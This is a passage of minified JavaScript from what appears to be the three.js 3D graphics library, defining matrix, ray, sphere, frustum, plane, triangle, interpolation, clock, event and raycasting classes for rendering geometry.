this.set(1,0,0,e,0,1,0,t,0,0,1,i,0,0,0,1),this},makeRotationX:function(e){var t=Math.cos(e),i=Math.sin(e);return this.set(1,0,0,0,0,t,-i,0,0,i,t,0,0,0,0,1),this},makeRotationY:function(e){var t=Math.cos(e),i=Math.sin(e);return this.set(t,0,i,0,0,1,0,0,-i,0,t,0,0,0,0,1),this},makeRotationZ:function(e){var t=Math.cos(e),i=Math.sin(e);return this.set(t,-i,0,0,i,t,0,0,0,0,1,0,0,0,0,1),this},makeRotationAxis:function(e,t){var i=Math.cos(t),r=Math.sin(t),n=1-i,o=e.x,a=e.y,s=e.z,c=n*o,u=n*a;return this.set(c*o+i,c*a-r*s,c*s+r*a,0,c*a+r*s,u*a+i,u*s-r*o,0,c*s-r*a,u*s+r*o,n*s*s+i,0,0,0,0,1),this},makeScale:function(e,t,i){return this.set(e,0,0,0,0,t,0,0,0,0,i,0,0,0,0,1),this},compose:function(e,t,i){return this.makeRotationFromQuaternion(t),this.scale(i),this.setPosition(e),this},decompose:function(){var e,t;return function(i,r,o){void 0===e&&(e=new n.Vector3),void 0===t&&(t=new n.Matrix4);var a=this.elements,s=e.set(a[0],a[1],a[2]).length(),c=e.set(a[4],a[5],a[6]).length(),u=e.set(a[8],a[9],a[10]).length(),l=this.determinant();0>l&&(s=-s),i.x=a[12],i.y=a[13],i.z=a[14],t.elements.set(this.elements);var h=1/s,d=1/c,p=1/u;return t.elements[0]*=h,t.elements[1]*=h,t.elements[2]*=h,t.elements[4]*=d,t.elements[5]*=d,t.elements[6]*=d,t.elements[8]*=p,t.elements[9]*=p,t.elements[10]*=p,r.setFromRotationMatrix(t),o.x=s,o.y=c,o.z=u,this}}(),makeFrustum:function(e,t,i,r,n,o){var a=this.elements,s=2*n/(t-e),c=2*n/(r-i),u=(t+e)/(t-e),l=(r+i)/(r-i),h=-(o+n)/(o-n),d=-2*o*n/(o-n);return a[0]=s,a[4]=0,a[8]=u,a[12]=0,a[1]=0,a[5]=c,a[9]=l,a[13]=0,a[2]=0,a[6]=0,a[10]=h,a[14]=d,a[3]=0,a[7]=0,a[11]=-1,a[15]=0,this},makePerspective:function(e,t,i,r){var o=i*Math.tan(n.Math.DEG2RAD*e*.5),a=-o,s=a*t,c=o*t;return this.makeFrustum(s,c,a,o,i,r)},makeOrthographic:function(e,t,i,r,n,o){var a=this.elements,s=1/(t-e),c=1/(i-r),u=1/(o-n),l=(t+e)*s,h=(i+r)*c,d=(o+n)*u;return a[0]=2*s,a[4]=0,a[8]=0,a[12]=-l,a[1]=0,a[5]=2*c,a[9]=0,a[13]=-h,a[2]=0,a[6]=0,a[10]=-2*u,a[14]=-d,a[3]=0,a[7]=0,a[11]=0,a[15]=1,this},equals:function(e){for(var t=this.elements,i=e.elements,r=0;16>r;r++)if(t[r]!==i[r])return!1;return!0},fromArray:function(e){return this.elements.set(e),this},toArray:function(e,t){void 0===e&&(e=[]),void 0===t&&(t=0);var i=this.elements;return e[t]=i[0],e[t+1]=i[1],e[t+2]=i[2],e[t+3]=i[3],e[t+4]=i[4],e[t+5]=i[5],e[t+6]=i[6],e[t+7]=i[7],e[t+8]=i[8],e[t+9]=i[9],e[t+10]=i[10],e[t+11]=i[11],e[t+12]=i[12],e[t+13]=i[13],e[t+14]=i[14],e[t+15]=i[15],e}},n.Ray=function(e,t){this.origin=void 0!==e?e:new n.Vector3,this.direction=void 0!==t?t:new n.Vector3},n.Ray.prototype={constructor:n.Ray,set:function(e,t){return this.origin.copy(e),this.direction.copy(t),this},clone:function(){return(new this.constructor).copy(this)},copy:function(e){return this.origin.copy(e.origin),this.direction.copy(e.direction),this},at:function(e,t){var i=t||new n.Vector3;return i.copy(this.direction).multiplyScalar(e).add(this.origin)},lookAt:function(e){this.direction.copy(e).sub(this.origin).normalize()},recast:function(){var e=new n.Vector3;return function(t){return this.origin.copy(this.at(t,e)),this}}(),closestPointToPoint:function(e,t){var i=t||new n.Vector3;i.subVectors(e,this.origin);var r=i.dot(this.direction);return 0>r?i.copy(this.origin):i.copy(this.direction).multiplyScalar(r).add(this.origin)},distanceToPoint:function(e){return Math.sqrt(this.distanceSqToPoint(e))},distanceSqToPoint:function(){var e=new n.Vector3;return function(t){var i=e.subVectors(t,this.origin).dot(this.direction);return 0>i?this.origin.distanceToSquared(t):(e.copy(this.direction).multiplyScalar(i).add(this.origin),e.distanceToSquared(t))}}(),distanceSqToSegment:function(){var e=new n.Vector3,t=new n.Vector3,i=new n.Vector3;return function(r,n,o,a){e.copy(r).add(n).multiplyScalar(.5),t.copy(n).sub(r).normalize(),i.copy(this.origin).sub(e);var s,c,u,l,h=.5*r.distanceTo(n),d=-this.direction.dot(t),p=i.dot(this.direction),f=-i.dot(t),m=i.lengthSq(),g=Math.abs(1-d*d);if(g>0)if(s=d*f-p,c=d*p-f,l=h*g,s>=0)if(c>=-l)if(l>=c){var v=1/g;s*=v,c*=v,u=s*(s+d*c+2*p)+c*(d*s+c+2*f)+m}else c=h,s=Math.max(0,-(d*c+p)),u=-s*s+c*(c+2*f)+m;else c=-h,s=Math.max(0,-(d*c+p)),u=-s*s+c*(c+2*f)+m;else-l>=c?(s=Math.max(0,-(-d*h+p)),c=s>0?-h:Math.min(Math.max(-h,-f),h),u=-s*s+c*(c+2*f)+m):l>=c?(s=0,c=Math.min(Math.max(-h,-f),h),u=c*(c+2*f)+m):(s=Math.max(0,-(d*h+p)),c=s>0?h:Math.min(Math.max(-h,-f),h),u=-s*s+c*(c+2*f)+m);else c=d>0?-h:h,s=Math.max(0,-(d*c+p)),u=-s*s+c*(c+2*f)+m;return o&&o.copy(this.direction).multiplyScalar(s).add(this.origin),a&&a.copy(t).multiplyScalar(c).add(e),u}}(),intersectSphere:function(){var e=new n.Vector3;return function(t,i){e.subVectors(t.center,this.origin);var r=e.dot(this.direction),n=e.dot(e)-r*r,o=t.radius*t.radius;if(n>o)return null;var a=Math.sqrt(o-n),s=r-a,c=r+a;return 0>s&&0>c?null:0>s?this.at(c,i):this.at(s,i)}}(),intersectsSphere:function(e){return this.distanceToPoint(e.center)<=e.radius},distanceToPlane:function(e){var t=e.normal.dot(this.direction);if(0===t)return 0===e.distanceToPoint(this.origin)?0:null;var i=-(this.origin.dot(e.normal)+e.constant)/t;return i>=0?i:null},intersectPlane:function(e,t){var i=this.distanceToPlane(e);return null===i?null:this.at(i,t)},intersectsPlane:function(e){var t=e.distanceToPoint(this.origin);if(0===t)return!0;var i=e.normal.dot(this.direction);return 0>i*t?!0:!1},intersectBox:function(e,t){var i,r,n,o,a,s,c=1/this.direction.x,u=1/this.direction.y,l=1/this.direction.z,h=this.origin;return c>=0?(i=(e.min.x-h.x)*c,r=(e.max.x-h.x)*c):(i=(e.max.x-h.x)*c,r=(e.min.x-h.x)*c),u>=0?(n=(e.min.y-h.y)*u,o=(e.max.y-h.y)*u):(n=(e.max.y-h.y)*u,o=(e.min.y-h.y)*u),i>o||n>r?null:((n>i||i!==i)&&(i=n),(r>o||r!==r)&&(r=o),l>=0?(a=(e.min.z-h.z)*l,s=(e.max.z-h.z)*l):(a=(e.max.z-h.z)*l,s=(e.min.z-h.z)*l),i>s||a>r?null:((a>i||i!==i)&&(i=a),(r>s||r!==r)&&(r=s),0>r?null:this.at(i>=0?i:r,t)))},intersectsBox:function(){var e=new n.Vector3;return function(t){return null!==this.intersectBox(t,e)}}(),intersectTriangle:function(){var e=new n.Vector3,t=new n.Vector3,i=new n.Vector3,r=new n.Vector3;return function(n,o,a,s,c){t.subVectors(o,n),i.subVectors(a,n),r.crossVectors(t,i);var u,l=this.direction.dot(r);if(l>0){if(s)return null;u=1}else{if(!(0>l))return null;u=-1,l=-l}e.subVectors(this.origin,n);var h=u*this.direction.dot(i.crossVectors(e,i));if(0>h)return null;var d=u*this.direction.dot(t.cross(e));if(0>d)return null;if(h+d>l)return null;var p=-u*e.dot(r);return 0>p?null:this.at(p/l,c)}}(),applyMatrix4:function(e){return this.direction.add(this.origin).applyMatrix4(e),this.origin.applyMatrix4(e),this.direction.sub(this.origin),this.direction.normalize(),this},equals:function(e){return e.origin.equals(this.origin)&&e.direction.equals(this.direction)}},n.Sphere=function(e,t){this.center=void 0!==e?e:new n.Vector3,this.radius=void 0!==t?t:0},n.Sphere.prototype={constructor:n.Sphere,set:function(e,t){return this.center.copy(e),this.radius=t,this},setFromPoints:function(){var e=new n.Box3;return function(t,i){var r=this.center;void 0!==i?r.copy(i):e.setFromPoints(t).center(r);for(var n=0,o=0,a=t.length;a>o;o++)n=Math.max(n,r.distanceToSquared(t[o]));return this.radius=Math.sqrt(n),this}}(),clone:function(){return(new this.constructor).copy(this)},copy:function(e){return this.center.copy(e.center),this.radius=e.radius,this},empty:function(){return this.radius<=0},containsPoint:function(e){return e.distanceToSquared(this.center)<=this.radius*this.radius},distanceToPoint:function(e){return e.distanceTo(this.center)-this.radius},intersectsSphere:function(e){var t=this.radius+e.radius;return e.center.distanceToSquared(this.center)<=t*t},intersectsBox:function(e){return e.intersectsSphere(this)},intersectsPlane:function(e){return Math.abs(this.center.dot(e.normal)-e.constant)<=this.radius},clampPoint:function(e,t){var i=this.center.distanceToSquared(e),r=t||new n.Vector3;return r.copy(e),i>this.radius*this.radius&&(r.sub(this.center).normalize(),r.multiplyScalar(this.radius).add(this.center)),r},getBoundingBox:function(e){var t=e||new n.Box3;return t.set(this.center,this.center),t.expandByScalar(this.radius),t},applyMatrix4:function(e){return this.center.applyMatrix4(e),this.radius=this.radius*e.getMaxScaleOnAxis(),this},translate:function(e){return this.center.add(e),this},equals:function(e){return e.center.equals(this.center)&&e.radius===this.radius}},n.Frustum=function(e,t,i,r,o,a){this.planes=[void 0!==e?e:new n.Plane,void 0!==t?t:new n.Plane,void 0!==i?i:new n.Plane,void 0!==r?r:new n.Plane,void 0!==o?o:new n.Plane,void 0!==a?a:new n.Plane]},n.Frustum.prototype={constructor:n.Frustum,set:function(e,t,i,r,n,o){var a=this.planes;return a[0].copy(e),a[1].copy(t),a[2].copy(i),a[3].copy(r),a[4].copy(n),a[5].copy(o),this},clone:function(){return(new this.constructor).copy(this)},copy:function(e){for(var t=this.planes,i=0;6>i;i++)t[i].copy(e.planes[i]);return this},setFromMatrix:function(e){var t=this.planes,i=e.elements,r=i[0],n=i[1],o=i[2],a=i[3],s=i[4],c=i[5],u=i[6],l=i[7],h=i[8],d=i[9],p=i[10],f=i[11],m=i[12],g=i[13],v=i[14],y=i[15];return t[0].setComponents(a-r,l-s,f-h,y-m).normalize(),t[1].setComponents(a+r,l+s,f+h,y+m).normalize(),t[2].setComponents(a+n,l+c,f+d,y+g).normalize(),t[3].setComponents(a-n,l-c,f-d,y-g).normalize(),t[4].setComponents(a-o,l-u,f-p,y-v).normalize(),t[5].setComponents(a+o,l+u,f+p,y+v).normalize(),this},intersectsObject:function(){var e=new n.Sphere;return function(t){var i=t.geometry;return null===i.boundingSphere&&i.computeBoundingSphere(),e.copy(i.boundingSphere),e.applyMatrix4(t.matrixWorld),this.intersectsSphere(e)}}(),intersectsSphere:function(e){for(var t=this.planes,i=e.center,r=-e.radius,n=0;6>n;n++){var o=t[n].distanceToPoint(i);if(r>o)return!1}return!0},intersectsBox:function(){var e=new n.Vector3,t=new n.Vector3;return function(i){for(var r=this.planes,n=0;6>n;n++){var o=r[n];e.x=o.normal.x>0?i.min.x:i.max.x,t.x=o.normal.x>0?i.max.x:i.min.x,e.y=o.normal.y>0?i.min.y:i.max.y,t.y=o.normal.y>0?i.max.y:i.min.y,e.z=o.normal.z>0?i.min.z:i.max.z,t.z=o.normal.z>0?i.max.z:i.min.z;var a=o.distanceToPoint(e),s=o.distanceToPoint(t);if(0>a&&0>s)return!1}return!0}}(),containsPoint:function(e){for(var t=this.planes,i=0;6>i;i++)if(t[i].distanceToPoint(e)<0)return!1;return!0}},n.Plane=function(e,t){this.normal=void 0!==e?e:new n.Vector3(1,0,0),this.constant=void 0!==t?t:0},n.Plane.prototype={constructor:n.Plane,set:function(e,t){return this.normal.copy(e),this.constant=t,this},setComponents:function(e,t,i,r){return this.normal.set(e,t,i),this.constant=r,this},setFromNormalAndCoplanarPoint:function(e,t){return this.normal.copy(e),this.constant=-t.dot(this.normal),this},setFromCoplanarPoints:function(){var e=new n.Vector3,t=new n.Vector3;return function(i,r,n){var o=e.subVectors(n,r).cross(t.subVectors(i,r)).normalize();return this.setFromNormalAndCoplanarPoint(o,i),this}}(),clone:function(){return(new this.constructor).copy(this)},copy:function(e){return this.normal.copy(e.normal),this.constant=e.constant,this},normalize:function(){var e=1/this.normal.length();return this.normal.multiplyScalar(e),this.constant*=e,this},negate:function(){return this.constant*=-1,this.normal.negate(),this},distanceToPoint:function(e){return this.normal.dot(e)+this.constant},distanceToSphere:function(e){return this.distanceToPoint(e.center)-e.radius},projectPoint:function(e,t){return this.orthoPoint(e,t).sub(e).negate()},orthoPoint:function(e,t){var i=this.distanceToPoint(e),r=t||new n.Vector3;return r.copy(this.normal).multiplyScalar(i)},intersectLine:function(){var e=new n.Vector3;return function(t,i){var r=i||new n.Vector3,o=t.delta(e),a=this.normal.dot(o);if(0===a)return 0===this.distanceToPoint(t.start)?r.copy(t.start):void 0;var s=-(t.start.dot(this.normal)+this.constant)/a;return 0>s||s>1?void 0:r.copy(o).multiplyScalar(s).add(t.start)}}(),intersectsLine:function(e){var t=this.distanceToPoint(e.start),i=this.distanceToPoint(e.end);return 0>t&&i>0||0>i&&t>0},intersectsBox:function(e){return e.intersectsPlane(this)},intersectsSphere:function(e){return e.intersectsPlane(this)},coplanarPoint:function(e){var t=e||new n.Vector3;return t.copy(this.normal).multiplyScalar(-this.constant)},applyMatrix4:function(){var e=new n.Vector3,t=new n.Matrix3;return function(i,r){var n=this.coplanarPoint(e).applyMatrix4(i),o=r||t.getNormalMatrix(i),a=this.normal.applyMatrix3(o).normalize();return this.constant=-n.dot(a),this}}(),translate:function(e){return this.constant=this.constant-e.dot(this.normal),this},equals:function(e){return e.normal.equals(this.normal)&&e.constant===this.constant}},n.Spherical=function(e,t,i){return this.radius=void 0!==e?e:1,this.phi=void 0!==t?t:0,this.theta=void 0!==i?i:0,this},n.Spherical.prototype={constructor:n.Spherical,set:function(e,t,i){this.radius=e,this.phi=t,this.theta=i},clone:function(){return(new this.constructor).copy(this)},copy:function(e){return this.radius.copy(e.radius),this.phi.copy(e.phi),this.theta.copy(e.theta),this},makeSafe:function(){var e=1e-6;this.phi=Math.max(e,Math.min(Math.PI-e,this.phi))},setFromVector3:function(e){return this.radius=e.length(),0===this.radius?(this.theta=0,this.phi=0):(this.theta=Math.atan2(e.x,e.z),this.phi=Math.acos(n.Math.clamp(e.y/this.radius,-1,1))),this}},n.Math={DEG2RAD:Math.PI/180,RAD2DEG:180/Math.PI,generateUUID:function(){var e,t="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".split(""),i=new Array(36),r=0;return function(){for(var n=0;36>n;n++)8===n||13===n||18===n||23===n?i[n]="-":14===n?i[n]="4":(2>=r&&(r=33554432+16777216*Math.random()|0),e=15&r,r>>=4,i[n]=t[19===n?3&e|8:e]);return i.join("")}}(),clamp:function(e,t,i){return Math.max(t,Math.min(i,e))},euclideanModulo:function(e,t){return(e%t+t)%t},mapLinear:function(e,t,i,r,n){return r+(e-t)*(n-r)/(i-t)},smoothstep:function(e,t,i){return t>=e?0:e>=i?1:(e=(e-t)/(i-t),e*e*(3-2*e))},smootherstep:function(e,t,i){return t>=e?0:e>=i?1:(e=(e-t)/(i-t),e*e*e*(e*(6*e-15)+10))},random16:function(){return console.warn("THREE.Math.random16() has been deprecated. Use Math.random() instead."),Math.random()},randInt:function(e,t){return e+Math.floor(Math.random()*(t-e+1))},randFloat:function(e,t){return e+Math.random()*(t-e)},randFloatSpread:function(e){return e*(.5-Math.random())},degToRad:function(e){return e*n.Math.DEG2RAD},radToDeg:function(e){return e*n.Math.RAD2DEG},isPowerOfTwo:function(e){return 0===(e&e-1)&&0!==e},nearestPowerOfTwo:function(e){return Math.pow(2,Math.round(Math.log(e)/Math.LN2))},nextPowerOfTwo:function(e){return e--,e|=e>>1,e|=e>>2,e|=e>>4,e|=e>>8,e|=e>>16,e++,e}},n.Spline=function(e){function t(e,t,i,r,n,o,a){var s=.5*(i-e),c=.5*(r-t);return(2*(t-i)+s+c)*a+(-3*(t-i)-2*s-c)*o+s*n+t}this.points=e;var i,r,o,a,s,c,u,l,h,d=[],p={x:0,y:0,z:0};this.initFromArray=function(e){this.points=[];for(var t=0;t<e.length;t++)this.points[t]={x:e[t][0],y:e[t][1],z:e[t][2]}},this.getPoint=function(e){return i=(this.points.length-1)*e,r=Math.floor(i),o=i-r,d[0]=0===r?r:r-1,d[1]=r,d[2]=r>this.points.length-2?this.points.length-1:r+1,d[3]=r>this.points.length-3?this.points.length-1:r+2,c=this.points[d[0]],u=this.points[d[1]],l=this.points[d[2]],h=this.points[d[3]],a=o*o,s=o*a,p.x=t(c.x,u.x,l.x,h.x,o,a,s),p.y=t(c.y,u.y,l.y,h.y,o,a,s),p.z=t(c.z,u.z,l.z,h.z,o,a,s),p},this.getControlPointsArray=function(){var e,t,i=this.points.length,r=[];for(e=0;i>e;e++)t=this.points[e],r[e]=[t.x,t.y,t.z];return r},this.getLength=function(e){var t,i,r,o,a=0,s=0,c=0,u=new n.Vector3,l=new n.Vector3,h=[],d=0;for(h[0]=0,e||(e=100),r=this.points.length*e,u.copy(this.points[0]),t=1;r>t;t++)i=t/r,o=this.getPoint(i),l.copy(o),d+=l.distanceTo(u),u.copy(o),a=(this.points.length-1)*i,s=Math.floor(a),s!==c&&(h[s]=d,c=s);return h[h.length]=d,{chunks:h,total:d}},this.reparametrizeByArcLength=function(e){var t,i,r,o,a,s,c,u,l=[],h=new n.Vector3,d=this.getLength();for(l.push(h.copy(this.points[0]).clone()),t=1;t<this.points.length;t++){for(s=d.chunks[t]-d.chunks[t-1],c=Math.ceil(e*s/d.total),o=(t-1)/(this.points.length-1),a=t/(this.points.length-1),i=1;c-1>i;i++)r=o+i*(1/c)*(a-o),u=this.getPoint(r),l.push(h.copy(u).clone());l.push(h.copy(this.points[t]).clone())}this.points=l}},n.Triangle=function(e,t,i){this.a=void 0!==e?e:new n.Vector3,this.b=void 0!==t?t:new n.Vector3,this.c=void 0!==i?i:new n.Vector3},n.Triangle.normal=function(){var e=new n.Vector3;return function(t,i,r,o){var a=o||new n.Vector3;a.subVectors(r,i),e.subVectors(t,i),a.cross(e);var s=a.lengthSq();return s>0?a.multiplyScalar(1/Math.sqrt(s)):a.set(0,0,0)}}(),n.Triangle.barycoordFromPoint=function(){var e=new n.Vector3,t=new n.Vector3,i=new n.Vector3;return function(r,o,a,s,c){e.subVectors(s,o),t.subVectors(a,o),i.subVectors(r,o);var u=e.dot(e),l=e.dot(t),h=e.dot(i),d=t.dot(t),p=t.dot(i),f=u*d-l*l,m=c||new n.Vector3;if(0===f)return m.set(-2,-1,-1);var g=1/f,v=(d*h-l*p)*g,y=(u*p-l*h)*g;return m.set(1-v-y,y,v)}}(),n.Triangle.containsPoint=function(){var e=new n.Vector3;return function(t,i,r,o){var a=n.Triangle.barycoordFromPoint(t,i,r,o,e);return a.x>=0&&a.y>=0&&a.x+a.y<=1}}(),n.Triangle.prototype={constructor:n.Triangle,set:function(e,t,i){return this.a.copy(e),this.b.copy(t),this.c.copy(i),this},setFromPointsAndIndices:function(e,t,i,r){return this.a.copy(e[t]),this.b.copy(e[i]),this.c.copy(e[r]),this},clone:function(){return(new this.constructor).copy(this)},copy:function(e){return this.a.copy(e.a),this.b.copy(e.b),this.c.copy(e.c),this},area:function(){var e=new n.Vector3,t=new n.Vector3;return function(){return e.subVectors(this.c,this.b),t.subVectors(this.a,this.b),.5*e.cross(t).length()}}(),midpoint:function(e){var t=e||new n.Vector3;return t.addVectors(this.a,this.b).add(this.c).multiplyScalar(1/3)},normal:function(e){return n.Triangle.normal(this.a,this.b,this.c,e)},plane:function(e){var t=e||new n.Plane;return t.setFromCoplanarPoints(this.a,this.b,this.c)},barycoordFromPoint:function(e,t){return n.Triangle.barycoordFromPoint(e,this.a,this.b,this.c,t)},containsPoint:function(e){return n.Triangle.containsPoint(e,this.a,this.b,this.c)},closestPointToPoint:function(){var e,t,i,r;return function(o,a){void 0===e&&(e=new n.Plane,t=[new n.Line3,new n.Line3,new n.Line3],i=new n.Vector3,r=new n.Vector3);var s=a||new n.Vector3,c=1/0;if(e.setFromCoplanarPoints(this.a,this.b,this.c),e.projectPoint(o,i),this.containsPoint(i)===!0)s.copy(i);else{t[0].set(this.a,this.b),t[1].set(this.b,this.c),t[2].set(this.c,this.a);for(var u=0;u<t.length;u++){t[u].closestPointToPoint(i,!0,r);var l=i.distanceToSquared(r);c>l&&(c=l,s.copy(r))}}return s}}(),equals:function(e){return e.a.equals(this.a)&&e.b.equals(this.b)&&e.c.equals(this.c)}},n.Interpolant=function(e,t,i,r){this.parameterPositions=e,this._cachedIndex=0,this.resultBuffer=void 0!==r?r:new t.constructor(i),this.sampleValues=t,this.valueSize=i},n.Interpolant.prototype={constructor:n.Interpolant,evaluate:function(e){var t=this.parameterPositions,i=this._cachedIndex,r=t[i],n=t[i-1];e:{t:{var o;i:{r:if(!(r>e)){for(var a=i+2;;){if(void 0===r){if(n>e)break r;return i=t.length,this._cachedIndex=i,this.afterEnd_(i-1,e,n)}if(i===a)break;if(n=r,r=t[++i],r>e)break t}o=t.length;break i}{if(e>=n)break e;var s=t[1];s>e&&(i=2,n=s);for(var a=i-2;;){if(void 0===n)return this._cachedIndex=0,this.beforeStart_(0,e,r);if(i===a)break;if(r=n,n=t[--i-1],e>=n)break t}o=i,i=0}}for(;o>i;){var c=i+o>>>1;e<t[c]?o=c:i=c+1}if(r=t[i],n=t[i-1],void 0===n)return this._cachedIndex=0,this.beforeStart_(0,e,r);if(void 0===r)return i=t.length,this._cachedIndex=i,this.afterEnd_(i-1,n,e)}this._cachedIndex=i,this.intervalChanged_(i,n,r)}return this.interpolate_(i,n,e,r)},settings:null,DefaultSettings_:{},getSettings_:function(){return this.settings||this.DefaultSettings_},copySampleValue_:function(e){for(var t=this.resultBuffer,i=this.sampleValues,r=this.valueSize,n=e*r,o=0;o!==r;++o)t[o]=i[n+o];return t},interpolate_:function(){throw new Error("call to abstract method")},intervalChanged_:function(){}},Object.assign(n.Interpolant.prototype,{beforeStart_:n.Interpolant.prototype.copySampleValue_,afterEnd_:n.Interpolant.prototype.copySampleValue_}),n.CubicInterpolant=function(e,t,i,r){n.Interpolant.call(this,e,t,i,r),this._weightPrev=-0,this._offsetPrev=-0,this._weightNext=-0,this._offsetNext=-0},n.CubicInterpolant.prototype=Object.assign(Object.create(n.Interpolant.prototype),{constructor:n.CubicInterpolant,DefaultSettings_:{endingStart:n.ZeroCurvatureEnding,endingEnd:n.ZeroCurvatureEnding},intervalChanged_:function(e,t,i){var r=this.parameterPositions,o=e-2,a=e+1,s=r[o],c=r[a];if(void 0===s)switch(this.getSettings_().endingStart){case n.ZeroSlopeEnding:o=e,s=2*t-i;break;case n.WrapAroundEnding:o=r.length-2,s=t+r[o]-r[o+1];break;default:o=e,s=i}if(void 0===c)switch(this.getSettings_().endingEnd){case n.ZeroSlopeEnding:a=e,c=2*i-t;break;case n.WrapAroundEnding:a=1,c=i+r[1]-r[0];break;default:a=e-1,c=t}var u=.5*(i-t),l=this.valueSize;this._weightPrev=u/(t-s),this._weightNext=u/(c-i),this._offsetPrev=o*l,this._offsetNext=a*l},interpolate_:function(e,t,i,r){for(var n=this.resultBuffer,o=this.sampleValues,a=this.valueSize,s=e*a,c=s-a,u=this._offsetPrev,l=this._offsetNext,h=this._weightPrev,d=this._weightNext,p=(i-t)/(r-t),f=p*p,m=f*p,g=-h*m+2*h*f-h*p,v=(1+h)*m+(-1.5-2*h)*f+(-.5+h)*p+1,y=(-1-d)*m+(1.5+d)*f+.5*p,M=d*m-d*f,A=0;A!==a;++A)n[A]=g*o[u+A]+v*o[c+A]+y*o[s+A]+M*o[l+A];return n}}),n.DiscreteInterpolant=function(e,t,i,r){n.Interpolant.call(this,e,t,i,r)},n.DiscreteInterpolant.prototype=Object.assign(Object.create(n.Interpolant.prototype),{constructor:n.DiscreteInterpolant,interpolate_:function(e){return this.copySampleValue_(e-1)}}),n.LinearInterpolant=function(e,t,i,r){n.Interpolant.call(this,e,t,i,r)},n.LinearInterpolant.prototype=Object.assign(Object.create(n.Interpolant.prototype),{constructor:n.LinearInterpolant,interpolate_:function(e,t,i,r){for(var n=this.resultBuffer,o=this.sampleValues,a=this.valueSize,s=e*a,c=s-a,u=(i-t)/(r-t),l=1-u,h=0;h!==a;++h)n[h]=o[c+h]*l+o[s+h]*u;return n}}),n.QuaternionLinearInterpolant=function(e,t,i,r){n.Interpolant.call(this,e,t,i,r)},n.QuaternionLinearInterpolant.prototype=Object.assign(Object.create(n.Interpolant.prototype),{constructor:n.QuaternionLinearInterpolant,interpolate_:function(e,t,i,r){for(var o=this.resultBuffer,a=this.sampleValues,s=this.valueSize,c=e*s,u=(i-t)/(r-t),l=c+s;c!==l;c+=4)n.Quaternion.slerpFlat(o,0,a,c-s,a,c,u);return o}}),n.Clock=function(e){this.autoStart=void 0!==e?e:!0,this.startTime=0,this.oldTime=0,this.elapsedTime=0,this.running=!1},n.Clock.prototype={constructor:n.Clock,start:function(){this.startTime=(performance||Date).now(),this.oldTime=this.startTime,this.running=!0},stop:function(){this.getElapsedTime(),this.running=!1},getElapsedTime:function(){return this.getDelta(),this.elapsedTime},getDelta:function(){var e=0;if(this.autoStart&&!this.running&&this.start(),this.running){var t=(performance||Date).now();e=(t-this.oldTime)/1e3,this.oldTime=t,this.elapsedTime+=e}return e}},n.EventDispatcher=function(){},n.EventDispatcher.prototype={constructor:n.EventDispatcher,apply:function(e){e.addEventListener=n.EventDispatcher.prototype.addEventListener,e.hasEventListener=n.EventDispatcher.prototype.hasEventListener,e.removeEventListener=n.EventDispatcher.prototype.removeEventListener,e.dispatchEvent=n.EventDispatcher.prototype.dispatchEvent},addEventListener:function(e,t){void 0===this._listeners&&(this._listeners={});var i=this._listeners;void 0===i[e]&&(i[e]=[]),-1===i[e].indexOf(t)&&i[e].push(t)},hasEventListener:function(e,t){if(void 0===this._listeners)return!1;var i=this._listeners;return void 0!==i[e]&&-1!==i[e].indexOf(t)?!0:!1},removeEventListener:function(e,t){if(void 0!==this._listeners){var i=this._listeners,r=i[e];if(void 0!==r){var n=r.indexOf(t);-1!==n&&r.splice(n,1)}}},dispatchEvent:function(e){if(void 0!==this._listeners){var t=this._listeners,i=t[e.type];if(void 0!==i){e.target=this;for(var r=[],n=i.length,o=0;n>o;o++)r[o]=i[o];for(var o=0;n>o;o++)r[o].call(this,e)}}}},n.Layers=function(){this.mask=1},n.Layers.prototype={constructor:n.Layers,set:function(e){this.mask=1<<e},enable:function(e){this.mask|=1<<e},toggle:function(e){this.mask^=1<<e},disable:function(e){this.mask&=~(1<<e)},test:function(e){return 0!==(this.mask&e.mask)}},function(e){function t(e,t){return e.distance-t.distance}function i(e,t,r,n){if(e.visible!==!1&&(e.raycast(t,r),n===!0))for(var o=e.children,a=0,s=o.length;s>a;a++)i(o[a],t,r,!0)}e.Raycaster=function(t,i,r,n){this.ray=new e.Ray(t,i),this.near=r||0,this.far=n||1/0,this.params={Mesh:{},Line:{},LOD:{},Points:{threshold:1},Sprite:{}},Object.defineProperties(this.params,{PointCloud:{get:function(){return console.warn("THREE.Raycaster: params.PointCloud has been renamed to params.Points."),this.Points}}})},e.Raycaster.prototype={constructor:e.Raycaster,linePrecision:1,set:function(e,t){this.ray.set(e,t)},setFromCamera:function(t,i){i instanceof e.PerspectiveCamera?(this.ray.origin.setFromMatrixPosition(i.matrixWorld),this.ray.direction.set(t.x,t.y,.5).unproject(i).sub(this.ray.origin).normalize()):i instanceof e.OrthographicCamera?(this.ray.origin.set(t.x,t.y,-1).unproject(i),this.ray.direction.set(0,0,-1).transformDirection(i.matrixWorld)):console.error("THREE.Raycaster: Unsupported camera type.")},intersectObject:function(e,r){var n=[];return i(e,this,n,r),n.sort(t),n},intersectObjects:function(e,r){var n=[];if(Array.isArray(e)===!1)return console.warn("THREE.Raycaster.intersectObjects: objects is not an Array."),n;for(var o=0,a=e.length;a>o;o++)i(e[o],this,n,r);return n.sort(t),n}}}(n),n.Object3D=function(){function e(){o.setFromEuler(r,!1)}function t(){r.setFromQuaternion(o,void 0,!1)}Object.defineProperty(this,"id",{value:n.Object3DIdCount++}),this.uuid=n.Math.generateUUID(),this.name="",this.type="Object3D",this.parent=null,this.children=[],this.up=n.Object3D.DefaultUp.clone();var i=new n.Vector3,r=new n.Euler,o=new n.Quaternion,a=new n.Vector3(1,1,1);r.onChange(e),o.onChange(t),Object.defineProperties(this,{position:{enumerable:!0,value:i},rotation:{enumerable:!0,value:r},quaternion:{enumerable:!0,value:o},scale:{enumerable:!0,value:a},modelViewMatrix:{value:new n.Matrix4},normalMatrix:{value:new n.Matrix3}}),this.rotationAutoUpdate=!0,this.matrix=new n.Matrix4,this.matrixWorld=new n.Matrix4,this.matrixAutoUpdate=n.Object3D.DefaultMatrixAutoUpdate,this.matrixWorldNeedsUpdate=!1,this.layers=new n.Layers,this.visible=!0,this.castShadow=!1,this.receiveShadow=!1,this.frustumCulled=!0,this.renderOrder=0,this.userData={}},n.Object3D.DefaultUp=new 